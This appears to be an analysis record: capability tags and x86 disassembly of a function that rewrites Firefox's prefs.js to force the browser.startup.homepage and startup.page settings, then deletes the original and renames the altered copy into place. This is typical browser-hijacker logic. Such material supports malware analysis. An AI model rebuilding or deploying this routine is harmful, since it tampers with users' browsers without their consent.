Function at 0x40bb0a
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x610
push ebx
push esi
push edi
mov esi, 0x100
xor edi, edi
push esi
lea eax, [ebp - 0x208]
push edi
push eax
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call sub.MSVCRT.dll_memset
mov ebx, str.user_pref__browser.startup.homepage____
lea eax, [ebp - 0x208]
push ebx
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x208]
push 0x40feb0
push eax
call sub.MSVCRT.dll_strcat
push esi
lea eax, [ebp - 0x108]
push edi
push eax
call sub.MSVCRT.dll_memset
mov edi, str.user_pref__browser.startup.page__
lea eax, [ebp - 0x108]
push edi
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x108]
push 0x4100ec
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x40
lea eax, [ebp - 0x108]
push 0x4100e8
push eax
call sub.MSVCRT.dll_strcat
add esi, 4
lea eax, [ebp - 0x30c]
push esi
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x410]
push 0
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 0xc]
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x30c]
push str.prefs.js
push eax
call sub.MSVCRT.dll_strcat
push dword [ebp + 0xc]
lea eax, [ebp - 0x410]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x410]
push str.prefs_copy.js
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x40
lea eax, [ebp - 0x30c]
push 0x40fe60
push eax
call sub.MSVCRT.dll_fopen
pop ecx
mov dword [ebp + 8], eax
test eax, eax
pop ecx
jne 0x40bc2d
xor eax, eax
jmp 0x40bde2
lea eax, [ebp - 0x410]
push 0x40fe5c
push eax
call sub.MSVCRT.dll_fopen
pop ecx
mov dword [ebp + 0xc], eax
test eax, eax
pop ecx
je 0x40bc26
mov esi, 0x200
lea eax, [ebp - 0x610]
push esi
push 0
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x610]
push esi
push eax
call sub.MSVCRT.dll_fgets
add esp, 0x18
test eax, eax
je 0x40bd57
lea eax, [ebp - 0x610]
push eax
call sub.MSVCRT.dll_strlen
cmp eax, 1
pop ecx
jbe 0x40bd37
push ebx
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x610]
push ebx
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0x10
test eax, eax
jne 0x40bcd2
push dword [ebp + 0xc]
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x208]
push 1
push eax
call sub.MSVCRT.dll_fwrite
add esp, 0x10
mov dword [ebp - 4], 1
jmp 0x40bd37
push edi
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x610]
push edi
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0x10
test eax, eax
push dword [ebp + 0xc]
jne 0x40bd18
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x108]
push 1
push eax
call sub.MSVCRT.dll_fwrite
add esp, 0x10
mov dword [ebp - 8], 1
jmp 0x40bd37
lea eax, [ebp - 0x610]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x610]
push 1
push eax
call sub.MSVCRT.dll_fwrite
add esp, 0x10
push dword [ebp + 8]
lea eax, [ebp - 0x610]
push esi
push eax
call sub.MSVCRT.dll_fgets
add esp, 0xc
test eax, eax
jne 0x40bc76
cmp dword [ebp - 4], eax
jne 0x40bd79
push dword [ebp + 0xc]
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x208]
push 1
push eax
call sub.MSVCRT.dll_fwrite
add esp, 0x10
cmp dword [ebp - 8], 0
jne 0x40bda1
push dword [ebp + 0xc]
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x108]
push 1
push eax
call sub.MSVCRT.dll_fwrite
add esp, 0x10
push dword [ebp + 8]
call sub.MSVCRT.dll_fclose
push dword [ebp + 0xc]
call sub.MSVCRT.dll_fclose
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_remove
add esp, 0xc
test eax, eax
jne 0x40bc26
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x410]
push eax
call sub.MSVCRT.dll_rename
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
pop edi
pop esi
pop ebx
leave
ret